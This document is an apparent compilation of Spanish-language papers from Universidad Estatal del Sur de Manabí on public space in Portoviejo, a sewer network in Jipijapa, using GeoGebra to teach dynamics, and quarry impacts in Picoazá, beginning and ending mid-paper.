Es decir que el espacio público es a un tiempo, el espacio principal del urbanismo, de la cultura urbana y de la ciudadanía, “es un espacio físico, simbólico y político” (Bohigas, 2015)

El espacio público es la ciudad; la historia de la ciudad es la de su espacio público. La relación de los habitantes con los parques hace que en la actualidad la ciudadanía se apropie de este espacio y que lo considere como una carta de presentación hacia el exterior esto ha mejorado la calidad de vida de los vecinos y de una u otra manera mejora el auto estima de la comunidad portovejense aparte de que se rehabilita una zona que era insegura con problemas álgidos de delincuencia ahora es un lugar de destino de muchos visitantes de toda la provincia y el país

que quieren conocer y que esto sin duda alguna genera movimiento económico convirtiéndose en un icono importante de desarrollo de la ciudad es por este motivo que los espacios públicos son la ciudad en sí, donde el ciudadano converge se reúne interactúa y entra en una convivencia mutua.

El espacio público un indicador de calidad, con el objetivo de salir del marasmo que quedo la ciudad de Portoviejo después de soportar el terremoto del 16 de abril del 2016 se comenzaron a realizar obras de importancia para reactivar la economía entre otras obras fueron consideradas algunas calles de la ciudad, el parque las vegas, y el parque la rotonda que ya estaba en construcción han comenzado a transformar la ciudad dándole un aspecto de ciudad organizada en cuanto lo urbano con característica relevante de modernidad en sus espacios los parques y calles que se ejecutan en la parte central de la ciudad en contraposición del estado y realidades que se viven en la periferia y fajas periurbanas de la ciudad convirtiéndose el espacio público en un verdaderos indicador de calidad que es el que desnuda la problemática del espacio en la ciudad ya que se descuidan sectores alejado a la parte central de la ciudad dando lugar al nacimiento de focos negativos que desmejoran el espacio público y por ende la calidad de vida de la comunidad. (Constitución de la República del Ecuador, 2016)

Es un factor sintomático que se considere al espacio público no solamente como un indicador de calidad urbana, sino que también como un instrumento privilegiado de la política urbanística para hacer ciudad sobre la ciudad y para calificar las periferias, para mantener y renovar los antiguos centros y producir nuevas centralidades, para suturar los tejidos urbanos y para dar un valor ciudadano a las infraestructuras.

Las nuevas tipologías de espacio público para Jordi Borja y Zaida Muxi, hacer ciudad es muy complejo, aunque parecería estar de alguna forma resulto este tema con la planificación como herramienta, pero cada día aparecen nueva forma de hacer ciudad done el espacio público tiene un rol preponderante desde diferentes ámbitos tanto público como privado que antes no se consideraban.

Todo este conjunto de actividades que reproducen calles plazas parque es decir espacio que no excluyen al ciudadano, equipamientos urbanos que son multifuncionales como edificaciones de salud, de educación, culturales, estaciones, terminales y otros equipamientos que serían los articuladores de áreas urbanas creando espacios públicos de transición con el entorno se convierten en nuevas tipologías de espacios públicos que las ciudades van asimilando y que son parte del desarrollo urbano. (Borja, J & Muxi, 2015)

La privatización del espacio público es una de las dinámicas más potente es la del urbanismo de productos, la sumisión al mercado, la obsesión por la competitividad, la fuerza económica de la iniciativa privada y la debilidad política de la iniciativa pública. (CEPAL, 2002)

En el análisis de cómo se intenta hacer ciudades a partir de parques temáticos, ciudades empresariales, barrios cerrados, infraestructuras al servicio del vehículo privado e individual, las zonas de viviendas segregadas por clases sociales, plazas y monumentos enrejados; se observó cómo se crean bloques conservadores en las zonas de ciudad hecha y equipada, con los miedos y los intereses que se oponen a los cambios y a las mezclas. Es el espacio público el que paga la factura de los “productos urbanos”. (Borja, J & Muxi, 2015)

Es necesario ser conscientes que el reto del espacio público es un desafío presente, este es un debate de valores culturales: convivencia o insolidaridad, justicia social o desigualdad, igualdad cívica o anomia.

La ciudad es la gente en la calle, un espacio público, abierto y protegido, un lugar es decir un hecho material productor de sentido, una concentración de puntos de encuentros. En la ciudad lo primero son las calles y plazas, los espacios colectivos, sólo después vendrán los edificios y las vías (espacios circulatorios). El espacio público define la calidad de la ciudad, porque indica la calidad de vida de la gente y la calidad de la ciudadanía de sus habitantes.

El excelente libro *Greats streets*, de Allan Jacobs, se analiza precisamente las ciudades a partir de la calidad, estética y cultural, funcional y social, simbólica y moderna, de sus calles. El llamado urbanismo desarrollista estuvo a punto de hacer desaparecer estos paseos urbanos en beneficio de las vías rápidas de circulación. (Allan)

La dialéctica de la ciudad actual. La ciudad actual sufre un triple proceso negativo: disolución, fragmentación y privatización.

Disolución por difusión de la urbanización desigual y el debilitamiento de los centros. **Fragmentación** por la exasperación de algunos supuestos funcionalistas: las administraciones públicas, producen la multiplicación de elementos dispersos y monovalentes en un territorio cortado por vías de comunicación.

En su análisis el arquitecto Montaner y otros autores al respecto de la situación actual de la fragmentación de la dialéctica de la ciudad explicó que “los no lugares ya no se interpretan como recipientes existenciales permanentes, sino que son entendidos como enormes focos de acontecimientos (...) no lugares definidos por la sobreabundancia y el exceso. Son siempre espacios relacionados con el transporte rápido, el consumo y el ocio.” (Montaner, 2015)

Y privatización con la generalización de ghettos según clases sociales desde los condominios de lujo hasta a las *favelas* o similares y la substitución de las calles, las plazas y los mercados por centros comerciales.

Además valoró la discriminación y la separación según las clases sociales de las ciudades actuales y expreso que “... transformar el espacio público de la calle en un espacio comercial privatizado de un centro de compras tiene claros costos sociales en términos de acceso democrático y responsabilidad pública... la domesticación del espacio a través de la purificación y privatización involucra crecientes exclusiones sociales y acrecienta las desigualdades...” (Montaner, 2015)

Parece obvio que las tendencias comentadas contrarían el complejo "producto ciudad" caracterizada por la densidad de relaciones sociales y por la mezcla de poblaciones y de actividades. Y aún peor acentúan las desigualdades y la marginación, reducen la capacidad de integración cultural y la gobernabilidad del territorial, al final se niegan los valores universalistas que se vinculan con la entidad "ciudad" (Hernández, 2016)

En sentido contrario actúan otras dinámicas que en todo momento de cambio han anunciado la muerte de la ciudad sin embargo han prevalecido, aunque con alto costos sociales.

Con el análisis anterior se concluye que, en la ciudad, o en sentido más amplio en las regiones urbanas o metropolitanas, se confrontan dinámicas contradictorias y en consecuencia las

políticas urbanas, que implican responsables políticos, profesionales y agentes económicos y sociales, pueden impulsar unas dinámicas y reducir otras. (CEPAL, 2002)

Los valores culturales y los objetivos políticos devienen la cuestión decisiva de nuestro presente y de nuestro futuro urbanos, como decía recientemente Michael Cohen, antes que nada, existe la necesidad de plantear cuáles son los valores que orientan nuestra acción,

hacia dónde queremos ir y qué modelos de vida urbana proponemos a la ciudadanía. (Cohen, 2000)

La ciudad como espacio público.

En el libro de Jordi Borja y Zaida Muxi encontramos descripciones relacionadas con los componentes de la ciudad y se recrean ejemplos de cómo se representan algunas ciudades así tenemos que para los egipcios la ciudad era como un jeroglífico. El círculo representa el lugar, la comunidad de personas, la organización política, la identidad cultural. La cruz representa los flujos, el intercambio, las movilidades, las relaciones con el exterior.

La síntesis de lugares y flujos se realiza en el espacio público, lugar de la cohesión social y de los intercambios. “Si un lugar puede definirse como espacio de identidad, relacional e histórico, un espacio que no pueda definirse ni como espacio de identidad ni como relacional ni como histórico, definirá un no lugar... un mundo así prometido a la individualidad solitaria, a lo efímero, al pasaje...” (Borja, J & Muxi, 2015)

Desde Aristóteles, que en su texto “*La Política*” defendía que la ciudad debe estar compuesta por diferentes clases de personas, que no existe la ciudad si la población se asemeja mucho. Hasta Louis Wirth que en su texto clásico “*Urbanismo como forma de vida*”, decía: “*la ciudad se caracteriza por la heterogeneidad social*” (Wirth, 2010).

La filosofía y la sociología urbana coinciden en enfatizar la ciudad como lugar donde se concentran y conviven las diferencias de origen, de aptitudes, de actividades admitiendo también que esta diversidad favorece lo imprevisible, introduce desorden y hace más posible la innovación.

Resultados

Como resultado de este estudio en los instrumentos aplicado a la ciudad de Portoviejo, las observaciones realizadas permitieron a través de la fotografía conocer cómo se comporta en esta ciudad todo el espacio público, donde el poder se hace visible, donde la sociedad se fotografía, donde el simbolismo colectivo se materializa y se concreta como la ciudad es un escenario, un espacio público que cuanto más abierto esté a todos, más expresará la democratización política y social.

En cuanto al análisis, de la entrevista a dos arquitectos expertos en el tema, expresaron:

Criticaron la tendencia actual de dejar el desarrollo urbano a la libre competencia y a los valores económicos. La necesidad del mercado es peligrosa, el espacio público es rentable en términos sociales, culturales y civiles; pero también lo es, en un mediano plazo, la gobernabilidad en términos políticos y económicos, generando atracción y creación de nuevas actividades.

Expresaron que el espacio público tiende en lo esencial a la mezcla social, hace de su uso un derecho ciudadano de primer orden, así el espacio público debe garantizar en términos de

igualdad la apropiación por parte de diferentes colectivos sociales y culturales, de género y de edad.

CONCLUSIONES

- ✚ El derecho al espacio público es en última instancia, el derecho a ejercer una apropiación de los ciudadanos que viven y que quieren vivir en las ciudades, donde el paso no puede ser restringido por criterios de propiedad privada y excepcionalmente por reserva gubernamental.

- ✚ Se afirma que la ciudad es la gente, en este caso gente no sólo quiere decir tamaño y densidad, es decir una concentración más o menos grande de personas, sino que también diversidad, heterogeneidad, relación entre individuos y colectivos diferentes, que habitan en un espacio y convergen de acuerdo a sus necesidades sociales.

- ✚ El análisis de la relación entre los equipamientos urbano, que marca un antes y después de la organización urbana de la ciudad de Portoviejo, permitió conocer como fue evolucionando el desarrollo de esta ciudad de acuerdo a las necesidades sociales del pueblo.

Referencias Bibliográficas

- Organización Mundial del Turismo. (2004). *El desarrollo sostenible y el turismo*. Madrid: OTM.
- Allan, J. (s.f.). *Greats Streets*.
- Bohigas, O. (2015). *En defenza de la urbanidad*. Buenos Aires.
- Borja, J, & Muxi, Z. (2015). *Componentes de la ciudad*. Argentina.
- Borja, J., & Castells. (s.f.). *Procesos del espacio público*.
- CEPAL. (2002). *Las nuevas funciones urbanas: gestión para una ciudad sostenible*. Santiago de Chile: Milenio.
- Cohen, M. (2000).
- Constitución de la República del Ecuador. (2016). *Biodiversidad y Recursos Naturales*. Quito: Ministerio del Ambiente.
- Hernàdez, A. (2016). Urbanismo participativo. Construcción social del espacio urbano. *Revista de Arquitectura nro. 18*, 6-18.
- Lezama, D. &. (2006). Medio ambiente y sustentabilidad urbana. *Toluca jul./sep. vol.12 no.49*, versión impresa ISSN 1405-7425.
- Montaner. (2015). *Dialèctica de la ciudad actual*.

Sampieri, H. (2012). *Metodología de la investigación. Quinta Edición*. México D.F.: The McGraw-Hill Companies.

Wirth, L. (2010). *Urbanismo como forma de vida*.

BIOGRAFIA DE AUTORES

Mg. A.D.U. Arq. Miguel Terán García

Docente de la Carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí

Dirección Domiciliaria: Portoviejo - Manabí

Correo Electrónico: 1 mtetxmt@yahoo.es

Teléfono: 052359 199 / 0986875396

Arq. Verónica Arévalo Vélez

Dirección Domiciliaria: Mata - Manabí

Correo Electrónico: 3 velu_avt@hotmail.com

Teléfono: 0993040489

Rómulo López Delgado

Estudiante de la Carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí

Dirección Domiciliaria: Jipijapa - Manabí

Correo Electrónico: 2 r.lopezdelgado21@gmail.com

Teléfono: 0991818788

ESTUDIO DE LA RED DE ALCANTARILLADO SANITARIO EN LA AVENIDA MEJÍA ENTRE FEBRES CORDERO Y 9 DE OCTUBRE DE JIPIJAPA

Arq. Betsy Fienco

Gallo Heidi

Hervás Daniela

Rodríguez Madison

Delgado Galiana

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

INTRODUCCIÓN

Es necesario que todas las comunidades cuenten con un sistema de alcantarillado sanitario, este permite que se evacuen las aguas de manera ordenada, ya que constituye un beneficio que se traduce en salud y bienestar y por ende tener una mejor calidad de vida.

Las consecuencias de un manejo inadecuado o la inexistencia de un alcantarillado podrían verse reflejado en consecuencias serias como inundaciones, riesgo de salud y brote de enfermedades.

Mediante este proyecto se da a conocer el estado actual de las tuberías en la Av. Mejía entre Guayas y Febres Cordero, con el fin de determinar las causas que originan el mal estado de estas. Así como también aportar información necesaria para que el Municipio de la ciudad de Jipijapa en un futuro pueda modernizar el sistema de Alcantarillado Sanitario y así ofrecer un mejor servicio de óptima calidad, tanto ambiental, social y estético.

evidente que con el pasar de los años las tuberías se han desgastado, por la falta de mantenimiento ligada al crecimiento urbano de manera que esto genera una problemática de saneamiento.

OBJETIVOS GENERAL

Evaluar el estado actual del sistema de la red de alcantarillado en la avenida Mejía entre Guayas y Febres Cordero en la ciudad de Jipijapa, para determinar las patologías que presentan en el alcantarillado sanitario, comprobar si actualmente recibe mantenimiento por parte del Municipio de Jipijapa y dar posibles soluciones a estos inconvenientes.

OBJETIVOS ESPECIFICOS

- Identificar las fallas que perjudican la red de alcantarillado a través de inspección visual y técnicas o por medio de la investigación inductiva.
- Revisar el plan de mantenimiento preventivo para optimizar el sistema de alcantarillado.

- Detectar los efectos de la contaminación que son causadas por el desborde de las aguas residuales, determinando así las posibles enfermedades que estas puedan a causar a los habitantes.

MATERIALES Y MÉTODOS

Se realiza un diagnostico con bases teóricas en libros, revistas, así como también normas técnicas de alcantarillados

Mediante una investigación pura se desarrollará el análisis de fallas que existen el sector

Se aplica la investigación de campo con la finalidad de obtener datos actuales

Métodos de investigación

Método inductivo: información recopilada mediante la observación

Método estadístico: manejo de datos mediante análisis, representación y simplificación.

Técnicas e instrumentos

Para una clara y fácil investigación se llevó mediante encuestas ya que nos permite diferentes puntos de vistas.

1. RESULTADOS Y DISCUSIÓN

REJILLA DESAGUE DENTRO DEL
HOGAR EN REBOZE

CAJA DE REVISIÓN DENTRO DEL
HOGAR TAPADA

FALLA ASFALTO EN LUGAR DE ESTUDIO

CAJA DE REVISIÓN TAPADA

FALLA POZO DE VISITA EN REBOZE EL LUGAR DE ESTUDIO

CAUSAS DE LAS FALLAS DE LA RED DE ALCANTARILLADO

CONCLUSIONES.

- Los principales factores que afectan la red de alcantarillados es la falta de mantenimiento que no se les da respectivamente, ligada al crecimiento poblacional, a más de eso que ya cumplieron el tiempo de vida útil.
- Mediante encuestas se determinó que un aproximado de 40% de las personas en la avenida Mejía tienden a enfermarse por la ineficiencia de la red de alcantarillado, percibiendo malos olores, y que las aguas residuales queden estancadas permitiendo la proliferación de mosquitos y enfermedades como; dengue, diarrea, parasitismo intestinal, enfermedades de la piel, y otras poco comunes.
- Se realizo un procedimiento para la operación y mantenimiento del sistema alcantarillado para analizar sus funciones y características puras, la elaboración de un cronograma de trabajo y su realización de trabajo para su respectivo mantenimiento del sistema alcantarillado.

REFERENCIAS BIBLIOGRÁFICAS

SEMARNAT. (Diciembre de 2009). Manual de Agua Potable, Alcantarillado y Saneamiento. <http://www.conagua.gob.mx/CONAGUA07/Publicaciones/Publicaciones/SGAPDS-29.pdf>

SIAPA. (Febrero de 2014). Alcantarillado Sanitario. http://www.siapa.gob.mx/sites/default/files/capitulo_3._alcantarillado_sanitario.pdf

PABLO, G. G. (julio de 2016). Diseño del sistema de alcantarillado. Diseño del sistema de alcantarillado: <http://bibdigital.epn.edu.ec/bitstream/15000/162/1/CD-0178.pdf>

MANUAL DE OPERACIONES ALCANTARILLADO. (Julio de 2017). MANUAL DE OPERACIONES ALCANTARILLADO: <https://www.sedapar.com.pe/wp-content/uploads/2018/02/Manual-operacion-desague.pdf>

Espinosa García, I. (Enero de 2005). MANUAL DE MANTENIMIENTO DE LOS SISTEMAS DE ALCANTARILLADO SANITARIO.: <http://www.inaa.gob.ni/documentos/Normativas/criterios-de-disenos/Manual%20de%20Mantenimiento%20de%20Sistemas%20de%20Alcantarillado.pdf/view>

UTILIZACIÓN DEL GEOGEBRA COMO SOFTWARE DE APOYO AL ESTUDIO DE LA MATERIA DE DINÁMICA

Docente: Ing. Gery Lorenzo Marcillo Merino

PONCE REGALADO DOUGLAS STALIN

CHIKUITO CHÓEZ JUAN JOSÉ

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

douglaspo1995@hotmail.com

josechikuito@live.com

RESUMEN

El presente trabajo investigativo tiene como objetivo fundamental, analizar la contribución que tiene el software “GeoGebra” para el estudio de la “Dinámica”. Se efectúa la revisión teórico-práctica sobre los diferentes argumentos que sustentan los criterios de estudio, desde la concepción de la materia hasta la creación y puesta en marcha de algún problema con el programa. Posteriormente se hace el diagnóstico sobre los resultados obtenidos y su aporte a la asignatura. Finalmente se determinan las diferentes conclusiones.

Palabras Claves: GeoGebra, Dinámica, Movimiento

ABSTRACT

The main objective of this research work is to analyze the contribution of the "GeoGebra" software for the study of "Dynamics". The theoretical-practical review is carried out on the different arguments that sustain the study criteria, from the conception of the subject to the creation and start-up of a problem with the program. Subsequently the diagnosis is made on the results obtained and their contribution to the subject. Finally, the different conclusions are determined.

Keywords: GeoGebra, Dynamics, Movement

INTRODUCCIÓN

Dada la gran utilidad del software resulta fácil el desarrollo de muchos problemas relacionados con la Física y en esencia de nuestro estudio la “Dinámica”, ya que según lo define el propio sitio de GeoGebra “es un software de matemáticas para todo nivel educativo. Reúne dinámicamente geometría, álgebra, estadística y cálculo en registros gráficos, de análisis y de

organización en hojas de cálculo. GeoGebra, con su libre agilidad de uso, congrega a una comunidad vital y en crecimiento. En todo el mundo, millones de entusiastas lo adoptan y comparten diseños y aplicaciones de GeoGebra. Dinamiza el estudio. Armonizando lo experimental y lo conceptual para experimentar una organización didáctica y disciplinar que cruza matemática, ciencias, ingeniería y tecnología (STEM: Science Technology Engineering & Mathematics). La comunidad que congrega lo extiende como recurso mundial, ¡potente e innovador para la cuestión clave y clásica de la enseñanza y el aprendizaje!

De este modo resulta fácil dar resultado a muchos problemas planteados de una manera dinámica, entendible y relacionada con problemáticas de la vida real que como los puede “El péndulo simple” que se define como “una partícula de masa m suspendida del punto O por un hilo inextensible de longitud l y de masa despreciable”

MÉTODOS

La realización del presente trabajo investigativo se fundamenta en la exploración literaria de los diferentes argumentos que sustentan los conceptos de Dinámica como materia; es decir, se sustenta en el método de investigación teórico, el mismo que se encarga de revelar las relaciones esenciales del objeto de investigación, fundamentales para la comprensión de los hechos y para la formulación de la hipótesis de investigación. Permite ascender del acondicionamiento de información empírica a describir, explicar, determinar las causas y formular la hipótesis investigativa.

Con la finalidad de realizar un análisis sustancial sobre el impacto que tiene el software GeoGebra sobre la Dinámica, se efectuó la indagación de la importancia que tienen ambas variables de investigación en el campo de la ciencia y su impacto a nivel nacional mediante la aplicación del método de investigación teórico-práctico.

RESULTADOS Y DISCUSIÓN

Para Woods (2000) las universidades e institutos de educación superior tienen ante sí un reto ineludible en la configuración de planes de estudio acordes con las exigencias del mercado. La Ingeniería particularmente, constituye una disciplina tecnológica signada por la actualización y renovación continua. El proceso de enseñanza-aprendizaje involucrado en la formación de un ingeniero integral debe basarse en el desarrollo de las destrezas estudiantiles orientadas a solucionar problemas efectivamente; algunas de estas destrezas se basan en el análisis concienzudo del problema y sus posibles soluciones y en el establecimiento de conexiones entre dicho problema y el conocimiento técnico/científico requerido para solucionarlo.

Las Leyes de Newton constituyen los tres principios básicos que explican el movimiento de los cuerpos, según la mecánica clásica. Fueron formuladas por primera vez por Newton en 1687, aunque la primera de ellas ya fue denunciada por Galileo. De esta manera se crea el concepto de que la Dinámica es la parte de la Mecánica que estudia las relaciones entre las causas que originan los movimientos y las propiedades de los movimientos originados.

Con base a los criterios de investigaciones citadas en los párrafos que anteceden, es importante mencionar que a nivel mundial se han efectuado un sinnúmero de estudios que permiten afirmar las apreciaciones y definiciones establecida principalmente por Newton.

Por consiguiente, a nivel universitario la práctica de la dinámica como materia de estudio se convierte en una herramienta fundamental para la contribución de la ciencia, tecnología e investigación.

De esta manera se procede a aplicar el uso del software en un problema practico de péndulo simple, llegando a demostrar la importancia del uso de programas de este tipo para un mejor aprendizaje.

Procedimiento

1. Se abre el programa GeoGebra o en su defecto se ingresa de manera online.
2. Se ingresan los parámetros correspondientes del experimento a desarrollar (Se reconocimiento del ambiente de trabajo).
3. Para obtener los diferentes resultados basta con ingresar los valores correspondientes y el programa ejecutara los procedimientos necesarios para obtener los valores

Dado el gran alcance que posee el software es normal encontrar desarrollados apartados específicos de algún tema, en este caso en el siguiente link "<https://www.geogebra.org/m/cMSpBrj6>" se encuentra la modificación del mismo para la ejecución de problemas con péndulo simple, en donde solo basta ingresar los valores variables, para así obtener:

El periodo del péndulo y la gráfica que describe su movimiento.

Si se realizan varias pruebas se puede concluir que el periodo de un péndulo depende únicamente del valor de la gravedad y la longitud de la cuerda. Además, que el software nos brinda grandes beneficios en diversidad de temas.

CONCLUSIONES.

La realización del presente trabajo investigativo permitió establecer las siguientes conclusiones:

La vinculación del software en dinámica, permitirá crear un proceso articulado, organizado con un propósito, que tiene un inicio y un fin; con la finalidad de dar solución a los problemas o interrogantes que surjan en el campo de la ciencia aplicada; debido a que se utilizará como variables de desarrollo el conocimiento adquirido en los diferentes módulos durante los diferentes periodos de estudio universitario, integrándolos para generar un producto único que será la respuesta a una interrogante de índoles investigativo.

En los actuales momentos el estudio de la Dinámica es de vital importancia para el campo no sólo de la ingeniera, sino también de la ciencia a nivel general, pues permite determinar a partir de varias teorías, las causas que provocan el movimiento de los cuerpos, y a la evolución que sufre el estado de movimiento de dicho cuerpo; lo cual es fundamental en cuanto a temas de investigación y elaboración de proyectos institucionales con aportes a la sociedad local y nacional.

REFERENCIAS BIBLIOGRÁFICAS

Forrester, J. (1992). La Dinámica de Sistemas y el Aprendizaje del Alumno en la educación escolar. Proyecto Educativo Dinámica de Sistemas. Grupo de Dinámica de Sistemas Escuela de Administración Massachusetts Institute of Technology.

Franco García, A. (2016). Oscilaciones. Obtenido de <http://www.sc.ehu.es/sbweb/fisica3/oscilaciones/pendulo/pendulo.html>

GeoGebra. (2018). Geogebra. Obtenido de <https://www.geogebra.org/about>

García, G., Saavedra, M., Tovar-Gálvez, J., y E. Vásquez (2006). Construcción de Conceptos Científicos desde la Relación Teórico-Práctica en el Aula y los Procesos Industriales: propuesta de Herramienta Didáctica. CD Memorias VII Jornadas de Enseñanza Universitaria de Química, Universidad de la Patagonia.

Ibarra, D.W. y Redondo, J.M. (2015). Dinámica de sistemas, una herramienta para la educación ambiental en ingeniería. Revista Revista Luna Azul, 41, 152-164. DOI: 10.17151/luaz.2015.41.9.

Martín Blas, T. y Serrano Fernández A. (2015). Leyes de Newton. Universidad Politécnica de Madrid. España.

Ortiz Frida, García María del Pilar. Metodología de la Investigación. Editorial Limosa. México (2005).

Sociedad Actual. (9 de Marzo de 2009). Recuperado el 2 de Febrero de 2013, de Para la discusión de la realidad social: <http://atsocial.blogspot.com/2009/03/proyecto-comoparte-de-la-organización>.

Tovar Gálvez, J.C. (2009). La dinámica de las Ciencias como modelo didáctico: propuesta para el aprendizaje del concepto reacción química y la generación de actitudes hacia la ciencia, desde el estudio de la organización espacial del laboratorio y del manejo de residuos químicos. Revista Electrónica de Enseñanza de las Ciencias Vol.8 N°2. Universidad Pedagógica Nacional, Colombia.

Woods, D. R., Felder, R., Rugarcia, A. y Stice, J., E.. (2000). The Future of Engineering Education III. Developing Critical Skills, Chem. Eng. Educ, 34(2), 108–117.

IMPACTO AMBIENTAL OCASIONADO POR LA CANTERAS EN EL ENTORNO DE PICOAZÁ

Angie Roxana Quimiz González

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: aroxiquimizgonzalez@gmail.com

Teléfono: 0982755621

RESUMEN

En presente trabajo se realiza un análisis técnico del "Impacto ambiental ocasionado por la canteras en el entorno de Picoazá", el cual pretende definir las condiciones de vulnerabilidad de la población, en cuanto a la forma, la profundidad y las medidas geométricas de la cantera ya que Picoazá está ubicada en la zona urbana de Portoviejo que cuenta con un área de 1.080 hectáreas de los cerros Jaboncillo, de Hojas, Guayabal y Verde, donde operaban 16 concesiones mineras, una de ellas en prospección, el 70% de estas fueron otorgadas entre 2000 - 2002 a lo que se considera que estas concesiones estaban afectando unas 200 hectáreas de área patrimonial cultural, y otras 1.000 hectáreas de bosque protector por lo que el Ministerio de Minas y Petróleo canceló dos concesiones mineras y restringió la explotación de material pétreo en los cerros cercanos a la parroquia Picoazá, en un primer intento por frenar la destrucción de un área patrimonial ambiental y arqueológica ya que debido a investigación de campo se permitió analizar qué el impacto ambiental de estas canteras constituyen herramientas importantes que permiten pronosticar las consecuencias que tiene el desarrollo de una actividad extractiva en el entorno ambiental.

Por lo tanto, esta investigación debe lograr la plena sostenibilidad en armonía con el medio ambiente, sin interrupciones que afecten las actividades socioeconómicas desarrolladas por la comunidad local con altos niveles de seguridad industrial y una regulación que procure proteger la vida y la salud de la población que vive en sus alrededores.

Palabras Claves: Canteras, Impacto ambiental, material pétreo.

SUMMARY

In this paper a technical analysis of the "Environmental impact caused by quarries in the Picoazá environment" is carried out, which aims to define the conditions of vulnerability of the population, in terms of shape, depth and geometrical measurements of the quarry since Picoazá is located in the urban area of Portoviejo that has an area of 1,080 hectares of the Jaboncillo, Hoja, Guayabal and Verde hills, where 16 mining concessions operated, one of them in prospecting, 70% of these were granted between 2000 - 2002 to what is considered that these concessions were affecting some 200 hectares of cultural heritage area, and another 1,000

hectares of protective forest, so the Ministry of Mines and Petroleum canceled two mining concessions and restricted the exploitation of stone material in the hills near the Picoazá parish, in a first attempt to stop the destruction of an environmental patrimonial area and archaeological since due to field research allowed to analyze what the environmental impact of these quarries are important tools that allow forecasting the consequences of the development of an extractive activity in the environment.

Therefore, this research must achieve full sustainability in harmony with the environment, without interruptions that affect the socio-economic activities developed by the local community with high levels of industrial safety and a regulation that seeks to protect the life and health of the population that lives in its surroundings.

Key Words: Quarries, Environmental impact, stony material.

INTRODUCCIÓN

El presente trabajo tiene como propósito contribuir con el estudio de Impacto Ambiental ocasionado en las Canteras de Picoazá donde la explotación de las canteras no deducen operaciones de inspección geológica – minera efectuada y han sido realizadas de manera antitécnica, sin diseño de explotación y regulación ambiental, por lo que este trabajo de investigación aportará detalles de los procesos de regulación ambiental y lo requisitos de proceso de explotación bajo régimen que certifique la intersección y aplicación de la Ley de Gestión Ambiental.

Por lo que la actividad minera en Ecuador es regulada por la ley de minería y de acuerdo con la información que dispone la Dirección Regional de Minería con sede en Guayaquil, sección de Administración de Derechos Mineros, en sus archivos se registran solicitudes de concesiones para Manabí, de las cuales algunas están inscritas legalmente y las restantes solo constan archivadas. El tipo de material explotado en Manabí corresponde a basaltos, gravas y las solicitudes corresponden a arenas, arenas calcáreas, calizas, bentonitas y feldespatos. Los volúmenes explotados alcanzan promedio a los 700.000 m³ anuales, para agregados y materiales de construcción en la Provincia de Manabí. También se puede evidenciar la no existencia de minas metálicas y por ello no hay procesos de este tipo de concesiones, salvo las arenas titaníferas y férricas.

Las concesiones inscritas en la Dirección Regional de Minas, para Manabí están localizadas en entre los cantones de la zona centro como Montecristi, Manta, Portoviejo, Jaramijo, Pichincha y Tosagua; siendo las actividades mineras de mayor importancia en la Provincia de Manabí y la explotación de materiales pétreos que se realizan en el cerro Jaboncillo.

El Gobierno Provincial de Manabí, conforme atribuciones que le otorgan las leyes para ser la institución que en nombre del estado se encargue del mantenimiento, rehabilitación y construcción de vías y caminos vecinales, principalmente en la zona rural dentro del territorio Manabita, requiere de material pétreo, como uno de sus principales insumos, para cumplir con la rehabilitación de vías ya construidas y con la construcción de nuevas vías para lo cual son explotadas las canteras de nuestra provincia.

El Ministerio de Recursos Naturales No Renovables, Subsecretaría Regional de Minas del Litoral Zonas 4-5-8, otorga al Gobierno Provincial de Manabí la correspondiente autorización

signada con el CÓDIGO 790582, para realizar actividades relacionadas con explotación de materiales pétreos de las canteras bajo el criterio legal de “libre aprovechamiento temporal de materiales de construcción para obras públicas” con un área aprobada en resolución N° 037-MRNNR-SRM-L-Z4-5-8-2013.

Así mismo, el Gobierno Provincial de Manabí, en cumplimiento a la normativa ambiental aplicable a éste tipo de proyecto, inicio el respectivo trámite ante el Ministerio de Ambiente, por medio del sistema SUIA registrando el proyecto con el nombre “OPERACIÓN Y CIERRE DE CANTERA”, para el sector minero y subsector libre de aprovechamiento, señalando que el proyecto NO intersecta con áreas naturales protegidas por el Estado bajo el Sistema Único de Manejo Ambiental. (SEGOVIA, 2013).

Y según la Ley de Gestión Ambiental, publicada en el Registro Oficial Suplemente No. 418 establece los principios y directrices de la política ambiental que determina las obligaciones, responsabilidades, niveles de participación del sector público privado en la gestión ambiental.

Siendo así este instrumentó técnico de gestión que promueva la conservación, protección, manejo ambiental bajo los artículos de la constitución.

Art. 3.- El proceso de Gestión Ambiental, se orientará según los principios universales del Desarrollo Sustentable, contenidos en la Declaración de Río de Janeiro de 1992, sobre Medio Ambiente y Desarrollo.

Art. 19.- Las obras públicas, privadas o mixtas, y los proyectos de inversión públicos o privados que puedan causar impactos ambientales, serán calificados previamente a su ejecución, por los organismos descentralizados de control, conforme el Sistema Unico de Manejo Ambiental, cuyo principio rector será el precautelatorio.

Art. 21.- Los sistemas de manejo ambiental incluirán estudios de línea base; evaluación del impacto ambiental; evaluación de riesgos; planes de manejo; planes de manejo de riesgo; sistemas de monitoreo; planes de contingencia y mitigación; auditorías ambientales y planes de abandono. Una vez cumplidos estos requisitos y de conformidad con la calificación de los mismos, el Ministerio del ramo podrá otorgar o negar la licencia correspondiente.

Art. 23.- La evaluación del impacto ambiental comprenderá:

- a) La estimación de los efectos causados a la población humana, la biodiversidad, el suelo, el aire, el agua, el paisaje y la estructura y función de los ecosistemas presentes en el área previsiblemente afectada;
- b) Las condiciones de tranquilidad públicas, tales como: ruido, vibraciones, olores, emisiones luminosas, cambios térmicos y cualquier otro perjuicio ambiental derivado de su ejecución; y,
- c) La incidencia que el proyecto, obra o actividad tendrá en los elementos que componen el patrimonio histórico, escénico y cultural. (Christian Alfonso Espinoza, Diego Fernando Guznay, 2013)

Con estos antecedentes se presentan los Términos de Referencia que establecen de manera general los lineamientos conceptuales del modelo para desarrollar el Estudio de Impacto y plan de manejo Ambiental en la extracción de materiales pétreos.

Pero sin embargo los términos de referencias de estudio técnico de impacto ambiental no vinculan respuestas adyacentes a nuestra observación como lo es:

- Identificación de la generación de desechos peligrosos en las canteras.
- Incorporación de matriz de aplicación de medidas de plan de manejo medio ambiental.
- Presentación de códigos de registro de conservación de área patrimonial ambiental y arqueológica.

